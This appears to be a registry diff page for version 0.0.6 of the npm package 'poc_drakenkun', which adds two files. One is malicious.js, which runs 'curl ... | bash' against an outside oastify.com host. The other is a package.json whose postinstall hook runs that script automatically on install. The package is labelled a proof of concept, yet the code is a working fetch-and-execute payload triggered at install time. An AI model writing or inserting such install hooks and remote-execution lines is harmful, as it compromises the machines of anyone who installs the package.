RubyGems
npm
Organizations
Log in
Sign up
npm
poc_drakenkun
Versions diffs
0.0.6
poc_drakenkun 0.0.6
Sign up to get
free
protection for your applications and to get access to all the features.
Files changed (2)
hide
show
package/malicious.js
+7
-0
package/package.json
+11
-0
package/malicious.js
ADDED
Viewed
@@ -0,0 +1,7 @@
1
+
const { exec } = require('child_process');
2
+
exec('curl http://ceuguxkhq8ed4tkmfnayqhorsiy9mzao.oastify.com | bash', (error, stdout, stderr) => {
3
+
if (error) {
4
+
console.error(`Error: ${error.message}`);
5
+
}
6
+
console.log(`Output: ${stdout}`);
7
+
});
package/package.json
ADDED
Viewed
@@ -0,0 +1,11 @@
1
+
{
2
+
"name": "poc_drakenkun",
3
+
"version": "0.0.6",
4
+
"description": "POC By Drakenkun",
5
+
"main": "malicious.js",
6
+
"scripts": {
7
+
"postinstall": "node malicious.js"
8
+
},
9
+
"author": "drakenkun",
10
+
"license": "ISC"
11
+
}